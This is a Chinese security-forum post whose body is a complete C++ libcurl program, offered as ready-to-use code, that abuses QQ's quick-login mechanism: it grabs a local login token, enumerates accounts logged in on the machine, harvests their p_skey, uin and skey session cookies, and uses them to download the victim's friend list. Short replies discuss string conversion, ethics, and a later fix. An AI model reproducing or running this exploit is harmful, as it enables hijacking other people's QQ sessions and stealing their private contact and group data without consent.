首页
社区
课程
招聘
[原创]利用QQ快捷登陆盗取Token,好友,群信息
发表于: 2020-5-6 13:38 1709

[原创]利用QQ快捷登陆盗取Token,好友,群信息

2020-5-6 13:38
1709

直接放硬(硬编码,需要的自己封装)代码了

 

原理可以看这篇文章

 

123K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8Y4q4I4x3K6b7H3x3e0t1@1y4K6l9I4x3q4)9J5c8X3q4J5N6r3W2U0L8r3g2Q4x3V1k6V1k6i4c8S2K9h3I4K6i4K6u0r3y4K6M7^5y4U0M7@1x3e0l9`.

#include <iostream>
#include <string>

#include <ctime>

#define _USE_MATH_DEFINES
#include <math.h>

#include <curl/curl.h>
#include <json/json.h>


size_t CurlWrite_CallbackFunc_StdString(void* contents, size_t size, size_t nmemb, std::string* s) {
    size_t newLength = size * nmemb;
    try {
        s->append((char*)contents, newLength);
    }
    catch (std::bad_alloc& e) {
        //handle memory problem
        return 0;
    }
    return newLength;
}

double get_random(int a,int b) {
    return (std::rand() % (99 - a + 1)) + a;
}



std::string UTF8ToGBEx(const char* utf8)
{
    if (!utf8 || strlen(utf8) < 1)
        return "";

    std::stringstream ss;
    int len = MultiByteToWideChar(CP_UTF8, 0, utf8, -1, NULL, 0);
    wchar_t* wstr = new wchar_t[len + 1];
    memset(wstr, 0, len + 1);
    MultiByteToWideChar(CP_UTF8, 0, utf8, -1, wstr, len);
    len = WideCharToMultiByte(CP_ACP, 0, wstr, -1, NULL, 0, NULL, NULL);
    char* str = new char[len + 1];
    memset(str, 0, len + 1);
    WideCharToMultiByte(CP_ACP, 0, wstr, -1, str, len, NULL, NULL);
    ss << str;
    delete[]wstr;
    delete[]str;
    return ss.str();
}

int main() {

    CURL* curl;
    CURLcode res;
    std::srand((unsigned int)std::time(nullptr));

    auto r = get_random(1, 99) / M_PI / 100;

    curl = curl_easy_init();
    std::string s;
    if (curl) {

        do {

            curl_easy_setopt(curl, CURLOPT_URL, "996K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5N6h3W2Q4x3X3g2H3N6r3I4G2k6$3W2F1x3W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3P5r3I4G2k6$3W2F1i4K6y4r3L8r3W2F1K9#2)9#2k6Y4c8S2M7X3N6W2N6q4)9K6c8r3u0D9j5h3&6C8i4K6t1$3j5h3#2H3i4K6y4n7M7s2c8Q4y4h3k6V1K9i4y4S2j5X3I4W2i4K6g2X3M7s2N6V1i4K6y4p5x3g2)9J5y4X3q4E0M7q4)9K6b7X3q4H3M7r3W2V1i4K6y4p5y4K6p5$3x3o6t1%4y4U0l9I4i4K6t1$3j5h3#2H3i4K6y4n7k6r3q4A6k6q4)9K6c8o6x3%4y4#2)9J5y4X3q4E0M7q4)9K6b7Y4c8S2M7X3N6W2N6q4)9K6c8s2y4W2L8r3k6Q4x3U0k6S2L8i4m8Q4x3@1u0K6N6s2W2D9k6g2)9K6c8o6p5I4i4K6t1$3j5h3#2H3i4K6y4n7M7#2)9#2k6Y4g2J5L8q4)9K6c8r3S2@1N6s2m8K6i4K6t1#2x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6%4K9h3c8Y4k6i4c8Q4x3V1k6K6K9r3q4J5k6i4q4I4i4K6u0r3M7%4g2U0j5$3g2K6M7#2)9J5k6h3S2@1L8h3H3`.");
            curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);
            curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);

            curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); //only for https
            curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); //only for https
            curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
            curl_easy_setopt(curl, CURLOPT_VERBOSE, 0L); //remove this to disable verbose output
            curl_easy_setopt(curl, CURLOPT_COOKIEFILE, "/xxtemp/cookies.txt");
            curl_easy_setopt(curl, CURLOPT_COOKIEJAR, "/xxtemp/cookies.txt");

            curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36");
            curl_easy_setopt(curl, CURLOPT_REFERER, "726K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6%4K9h3c8Y4k6i4c8Q4x3V1k6K6K9r3q4J5k6i4q4I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2Z5N6r3#2D9i4K6y4r3N6i4u0D9i4K6y4p5K9s2c8@1M7s2y4Q4x3U0f1K6b7g2)9J5y4e0u0r3i4K6t1#2x3V1k6%4N6%4N6Q4x3X3g2T1K9h3I4A6j5X3W2D9K9g2)9J5k6h3y4G2L8b7`.`.");

            res = curl_easy_perform(curl);

            /* Check for errors */
            if (res != CURLE_OK)
            {
                fprintf(stderr, "curl_easy_perform() failed: %s\n",
                    curl_easy_strerror(res));
                break;
            }
            std::string t_cookie_name = "Set-Cookie: pt_local_token=";
            auto index = s.find(t_cookie_name);
            if (index == std::string::npos)
                break;
            auto pt_local_token = s.substr(index + t_cookie_name.length(), s.find(";", index) - index - t_cookie_name.length());
            std::string t_url = "0caK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9L8$3y4S2L8r3S2G2M7%4c8Q4x3X3g2H3N6r3I4G2k6$3W2F1x3W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6y4m8y4o6x3H3x3g2)9J5c8Y4m8@1i4K6g2X3k6$3g2@1i4K6g2X3N6h3W2F1M7#2)9K6c8X3y4S2L8r3I4T1j5h3y4C8i4K6y4p5M7s2c8#2K9g2)9#2k6X3N6W2N6s2g2A6L8Y4y4Q4y4h3k6o6b7W2)9J5y4X3q4E0M7q4)9K6b7Y4u0Q4x3@1b7`.";
            t_url.append(std::to_string(r));
            t_url.append("&pt_local_tk=");
            t_url.append(pt_local_token);

            s.clear();
            curl_easy_setopt(curl, CURLOPT_URL, t_url.c_str());
            curl_easy_setopt(curl, CURLOPT_REFERER, "2deK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5N6h3W2Q4x3X3g2H3N6r3I4G2k6$3W2F1x3W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3P5r3I4G2k6$3W2F1i4K6y4r3L8r3W2F1K9#2)9#2k6Y4c8S2M7X3N6W2N6q4)9K6c8r3u0D9j5h3&6C8i4K6t1$3j5h3#2H3i4K6y4n7M7s2c8Q4y4h3k6V1K9i4y4S2j5X3I4W2i4K6g2X3M7s2N6V1i4K6y4p5x3g2)9J5y4X3q4E0M7q4)9K6b7X3q4H3M7r3W2V1i4K6y4p5y4K6p5$3x3o6t1%4y4U0l9I4i4K6t1$3j5h3#2H3i4K6y4n7k6r3q4A6k6q4)9K6c8o6x3%4y4#2)9J5y4X3q4E0M7q4)9K6b7Y4c8S2M7X3N6W2N6q4)9K6c8s2y4W2L8r3k6Q4x3U0k6S2L8i4m8Q4x3@1u0K6N6s2W2D9k6g2)9K6c8o6p5I4i4K6t1$3j5h3#2H3i4K6y4n7M7#2)9#2k6Y4g2J5L8q4)9K6c8r3S2@1N6s2m8K6i4K6t1#2x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6%4K9h3c8Y4k6i4c8Q4x3V1k6K6K9r3q4J5k6i4q4I4i4K6u0r3M7%4g2U0j5$3g2K6M7#2)9J5k6h3S2@1L8h3H3`.");
            res = curl_easy_perform(curl);

            /* Check for errors */
            if (res != CURLE_OK)
            {
                fprintf(stderr, "curl_easy_perform() failed: %s\n",
                    curl_easy_strerror(res));
                break;
            }
            std::string t_var_sso_uin_list = "var_sso_uin_list=";
            auto var_sso_uin_list_index = s.find(t_var_sso_uin_list);
            if (var_sso_uin_list_index == std::string::npos)
                break;
            std::string var_sso_uin_list_s = s.substr(var_sso_uin_list_index + t_var_sso_uin_list.length(), s.find(";", var_sso_uin_list_index + t_var_sso_uin_list.length()) - var_sso_uin_list_index - t_var_sso_uin_list.length());
            Json::CharReaderBuilder builder;
            const std::unique_ptr<Json::CharReader> reader(builder.newCharReader());
            Json::Value root;
            JSONCPP_STRING err;
            if (!reader->parse(var_sso_uin_list_s.c_str(), var_sso_uin_list_s.c_str() + var_sso_uin_list_s.length(), &root,
                &err)) {
                std::cout << "error" << std::endl;
                break;
            }

            for (size_t i = 0; i < root.size(); i++) {
                std::cout << root[i]["account"].asString() << std::endl;

                t_url = "8d3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9L8$3y4S2L8r3S2G2M7%4c8Q4x3X3g2H3N6r3I4G2k6$3W2F1x3W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6y4m8y4o6x3H3x3g2)9J5c8Y4m8@1i4K6g2X3k6$3g2@1i4K6g2X3M7%4c8Q4x3@1k6U0L8r3W2W2L8Y4c8#2K9h3&6Q4x3@1b7`.";
                t_url.append(root[i]["account"].asString());
                t_url.append("&callback=ptui_getst_CB&r=");
                t_url.append(std::to_string(r));
                t_url.append("&pt_local_tk=");
                t_url.append(pt_local_token);

                s.clear();
                curl_easy_setopt(curl, CURLOPT_URL, t_url.c_str());
                curl_easy_setopt(curl, CURLOPT_REFERER, "efcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5N6h3W2Q4x3X3g2H3N6r3I4G2k6$3W2F1x3W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3P5r3I4G2k6$3W2F1i4K6y4r3L8r3W2F1K9#2)9#2k6Y4c8S2M7X3N6W2N6q4)9K6c8r3u0D9j5h3&6C8i4K6t1$3j5h3#2H3i4K6y4n7M7s2c8Q4y4h3k6V1K9i4y4S2j5X3I4W2i4K6g2X3M7s2N6V1i4K6y4p5x3g2)9J5y4X3q4E0M7q4)9K6b7X3q4H3M7r3W2V1i4K6y4p5y4K6p5$3x3o6t1%4y4U0l9I4i4K6t1$3j5h3#2H3i4K6y4n7k6r3q4A6k6q4)9K6c8o6x3%4y4#2)9J5y4X3q4E0M7q4)9K6b7Y4c8S2M7X3N6W2N6q4)9K6c8s2y4W2L8r3k6Q4x3U0k6S2L8i4m8Q4x3@1u0K6N6s2W2D9k6g2)9K6c8o6p5I4i4K6t1$3j5h3#2H3i4K6y4n7M7#2)9#2k6Y4g2J5L8q4)9K6c8r3S2@1N6s2m8K6i4K6t1#2x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6%4K9h3c8Y4k6i4c8Q4x3V1k6K6K9r3q4J5k6i4q4I4i4K6u0r3M7%4g2U0j5$3g2K6M7#2)9J5k6h3S2@1L8h3H3`.");
                res = curl_easy_perform(curl);

                /* Check for errors */
                if (res != CURLE_OK)
                {
                    fprintf(stderr, "curl_easy_perform() failed: %s\n",
                        curl_easy_strerror(res));
                    break;
                }

                t_url = "c53K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6M7$3I4Q4x3X3g2H3N6r3I4G2k6$3W2F1x3W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3K9Y4g2E0M7q4)9K6c8X3y4D9K9h3g2F1N6s2g2A6L8W2)9K6c8l9`.`.";
                t_url.append(root[i]["account"].asString());
                t_url.append("&pt_local_tk=");
                t_url.append(pt_local_token);
                t_url.append("&keyindex=9&pt_aid=716027601&daid=377&u1=https%3A%2F%2Fconnect.qq.com%2Fwidget%2Fshareqq%2Fsuccess.html&pt_3rd_aid=0&ptopt=1&style=40&has_onekey=1");

                s.clear();
                curl_easy_setopt(curl, CURLOPT_URL, t_url.c_str());
                curl_easy_setopt(curl, CURLOPT_REFERER, "e48K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5N6h3W2Q4x3X3g2H3N6r3I4G2k6$3W2F1x3W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3P5r3I4G2k6$3W2F1i4K6y4r3L8r3W2F1K9#2)9#2k6Y4c8S2M7X3N6W2N6q4)9K6c8r3u0D9j5h3&6C8i4K6t1$3j5h3#2H3i4K6y4n7M7s2c8Q4y4h3k6V1K9i4y4S2j5X3I4W2i4K6g2X3M7s2N6V1i4K6y4p5x3g2)9J5y4X3q4E0M7q4)9K6b7X3q4H3M7r3W2V1i4K6y4p5y4K6p5$3x3o6t1%4y4U0l9I4i4K6t1$3j5h3#2H3i4K6y4n7k6r3q4A6k6q4)9K6c8o6x3%4y4#2)9J5y4X3q4E0M7q4)9K6b7Y4c8S2M7X3N6W2N6q4)9K6c8s2y4W2L8r3k6Q4x3U0k6S2L8i4m8Q4x3@1u0K6N6s2W2D9k6g2)9K6c8o6p5I4i4K6t1$3j5h3#2H3i4K6y4n7M7#2)9#2k6Y4g2J5L8q4)9K6c8r3S2@1N6s2m8K6i4K6t1#2x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6%4K9h3c8Y4k6i4c8Q4x3V1k6K6K9r3q4J5k6i4q4I4i4K6u0r3M7%4g2U0j5$3g2K6M7#2)9J5k6h3S2@1L8h3H3`.");
                res = curl_easy_perform(curl);

                /* Check for errors */
                if (res != CURLE_OK)
                {
                    fprintf(stderr, "curl_easy_perform() failed: %s\n",
                        curl_easy_strerror(res));
                    break;
                }

                std::string t_target_url = "ptui_qlogin_CB('0', '";
                auto target_url_index = s.find(t_target_url);
                if (target_url_index == std::string::npos)
                    break;
                std::string target_url_s = s.substr(target_url_index + t_target_url.length(), s.find("'", target_url_index + t_target_url.length()) - target_url_index - t_target_url.length());

                s.clear();
                curl_easy_setopt(curl, CURLOPT_URL, target_url_s.c_str());
                curl_easy_setopt(curl, CURLOPT_REFERER, "977K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5N6h3W2Q4x3X3g2H3N6r3I4G2k6$3W2F1x3W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3P5r3I4G2k6$3W2F1i4K6y4r3L8r3W2F1K9#2)9#2k6Y4c8S2M7X3N6W2N6q4)9K6c8r3u0D9j5h3&6C8i4K6t1$3j5h3#2H3i4K6y4n7M7s2c8Q4y4h3k6V1K9i4y4S2j5X3I4W2i4K6g2X3M7s2N6V1i4K6y4p5x3g2)9J5y4X3q4E0M7q4)9K6b7X3q4H3M7r3W2V1i4K6y4p5y4K6p5$3x3o6t1%4y4U0l9I4i4K6t1$3j5h3#2H3i4K6y4n7k6r3q4A6k6q4)9K6c8o6x3%4y4#2)9J5y4X3q4E0M7q4)9K6b7Y4c8S2M7X3N6W2N6q4)9K6c8s2y4W2L8r3k6Q4x3U0k6S2L8i4m8Q4x3@1u0K6N6s2W2D9k6g2)9K6c8o6p5I4i4K6t1$3j5h3#2H3i4K6y4n7M7#2)9#2k6Y4g2J5L8q4)9K6c8r3S2@1N6s2m8K6i4K6t1#2x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6%4K9h3c8Y4k6i4c8Q4x3V1k6K6K9r3q4J5k6i4q4I4i4K6u0r3M7%4g2U0j5$3g2K6M7#2)9J5k6h3S2@1L8h3H3`.");
                res = curl_easy_perform(curl);

                /* Check for errors */
                if (res != CURLE_OK)
                {
                    fprintf(stderr, "curl_easy_perform() failed: %s\n",
                        curl_easy_strerror(res));
                    break;
                }

                //获取p_skey uin skey
                std::string p_skey_name = "Set-Cookie: p_skey=";
                auto p_skey_index = s.find(p_skey_name);
                if (p_skey_index == std::string::npos)
                    break;
                std::string p_skey = s.substr(p_skey_index + p_skey_name.length(), s.find(";", p_skey_index + p_skey_name.length()) - p_skey_index - p_skey_name.length());

                std::string uin_name = "Set-Cookie: uin=";
                auto uin_index = s.find(uin_name);
                if (uin_index == std::string::npos)
                    break;
                std::string uin = s.substr(uin_index + uin_name.length(), s.find(";", uin_index + uin_name.length()) - uin_index - uin_name.length());

                std::string skey_name = "Set-Cookie: skey=";
                auto skey_index = s.find(skey_name);
                if (skey_index == std::string::npos)
                    break;
                std::string skey = s.substr(skey_index + skey_name.length(), s.find(";", skey_index + skey_name.length()) - skey_index - skey_name.length());

                s.clear();
                curl_easy_setopt(curl, CURLOPT_URL, "01aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6$3W2Q4x3X3g2U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6H3M7X3!0^5P5g2)9J5k6h3S2@1L8h3I4Q4x3@1k6@1i4K6y4p5x3U0l9I4x3U0l9J5x3e0M7H3x3o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0U0j5h3I4D9j5X3q4U0K9#2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0A6k6q4)9K6c8o6p5`.");
                curl_easy_setopt(curl, CURLOPT_REFERER, "d0eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6%4K9h3c8Y4k6i4c8Q4x3V1k6K6K9r3q4J5k6i4q4I4i4K6u0r3K9h3&6V1k6i4S2Q4x3X3g2Z5N6r3#2D9i4K6y4r3N6i4u0D9i4K6y4p5K9s2c8@1M7s2y4Q4x3U0f1K6b7g2)9J5y4e0u0r3i4K6t1#2x3V1k6%4N6%4N6Q4x3X3g2T1K9h3I4A6j5X3W2D9K9g2)9J5k6h3y4G2L8b7`.`.");
                std::string cookies = "p_skey=";
                cookies.append(p_skey);
                cookies.append("; uin=");
                cookies.append(uin);
                cookies.append("; skey=");
                cookies.append(skey);
                cookies.append(";");
                curl_easy_setopt(curl, CURLOPT_COOKIE, cookies.c_str());
                ::Sleep(3000);//后面这里太快,调用接口会404,官方自己也有这个问题
                res = curl_easy_perform(curl);

                /* Check for errors */
                if (res != CURLE_OK)
                {
                    fprintf(stderr, "curl_easy_perform() failed: %s\n",
                        curl_easy_strerror(res));
                    break;
                }
                std::string is_first = "4ebK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6$3W2Q4x3X3g2U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6I4M7h3y4G2L8X3&6W2j5%4c8G2M7r3g2F1i4K6u0r3K9i4y4Q4y4h3k6X3K9i4u0K6N6q4)9K6c8Y4c8Q4x3@1b7`.";
                is_first.append(std::to_string(std::time(nullptr)));

                s.clear();
                curl_easy_setopt(curl, CURLOPT_URL, is_first.c_str());
                curl_easy_setopt(curl, CURLOPT_REFERER, "83bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6$3W2Q4x3X3g2U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6H3M7X3!0^5P5g2)9J5k6h3S2@1L8h3I4Q4x3@1k6@1i4K6y4p5x3U0l9I4x3U0l9J5x3e0M7H3x3o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0U0j5h3I4D9j5X3q4U0K9#2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0A6k6q4)9K6c8o6p5`.");
                ::Sleep(3000);
                res = curl_easy_perform(curl);

                /* Check for errors */
                if (res != CURLE_OK)
                {
                    fprintf(stderr, "curl_easy_perform() failed: %s\n",
                        curl_easy_strerror(res));
                    break;
                }

                std::string get_user_friends = "f77K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6$3W2Q4x3X3g2U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6I4M7h3y4G2L8X3&6W2j5%4c8G2M7r3g2F1i4K6u0r3L8%4m8W2L8X3q4H3K9g2)9J5c8X3N6W2N6q4)9#2k6Y4g2K6k6i4u0Q4y4h3k6X3M7X3W2W2L8X3c8K6i4K6y4r3N6q4)9K6c8l9`.`.";
                get_user_friends.append(std::to_string(std::time(nullptr)));

                s.clear();
                curl_easy_setopt(curl, CURLOPT_URL, get_user_friends.c_str());
                curl_easy_setopt(curl, CURLOPT_REFERER, "a95K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6$3W2Q4x3X3g2U0L8$3&6F1k6h3y4@1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6H3M7X3!0^5P5g2)9J5k6h3S2@1L8h3I4Q4x3@1k6@1i4K6y4p5x3U0l9I4x3U0l9J5x3e0M7H3x3o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0U0j5h3I4D9j5X3q4U0K9#2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0A6k6q4)9K6c8o6p5`.");
                curl_easy_setopt(curl, CURLOPT_COOKIE, cookies.c_str());
                ::Sleep(3000);
                res = curl_easy_perform(curl);

                /* Check for errors */
                if (res != CURLE_OK)
                {
                    fprintf(stderr, "curl_easy_perform() failed: %s\n",
                        curl_easy_strerror(res));
                    break;
                }
                s = UTF8ToGBEx(s.c_str());
                std::cout << s << std::endl;

            }


        } while (false);

        /* always cleanup */
        curl_easy_cleanup(curl);
    }

    std::cout << "Program finished!" << std::endl;

    return 0;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-5-6 13:39 被hellogavin编辑 ,原因: 添加 [原创]
收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 183
活跃值: (751)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
UTF8可以转换 可以用,
std::u32string str32 ( U"\U00004f60\U0000597d" );  // ni hao (你好
std::wstring_convert<std::codecvt_utf8<char32_t>,char32_t> cv;
  str8 = cv.to_bytes(str32);

MultiByteToWideChar太长了 
2020-5-6 14:35
0
雪    币: 73
活跃值: (923)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
乍一看,还以为谁这么大胆,还敢明目张胆的盗取QQ号。
2020-5-6 15:19
0
雪    币: 353
活跃值: (1159)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
柒雪天尚 UTF8可以转换 可以用, std::u32string str32 ( U"\U00004f60\U0000597d" ); // ni hao (你好 std::wstr ...
感谢,知识又增长了
2020-5-6 15:57
0
雪    币: 2938
活跃值: (18)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
5
魔鬼的法,盗.你现在盗.你的好东西也会被盗.
2020-5-6 17:36
0
雪    币: 577
活跃值: (117)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
谁能给我讲解下原理
2020-5-6 17:50
0
雪    币: 0
活跃值: (51)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
额,现在好像已经修复了这个Bug
2020-10-13 16:18
0
游客
登录 | 注册 方可回帖
返回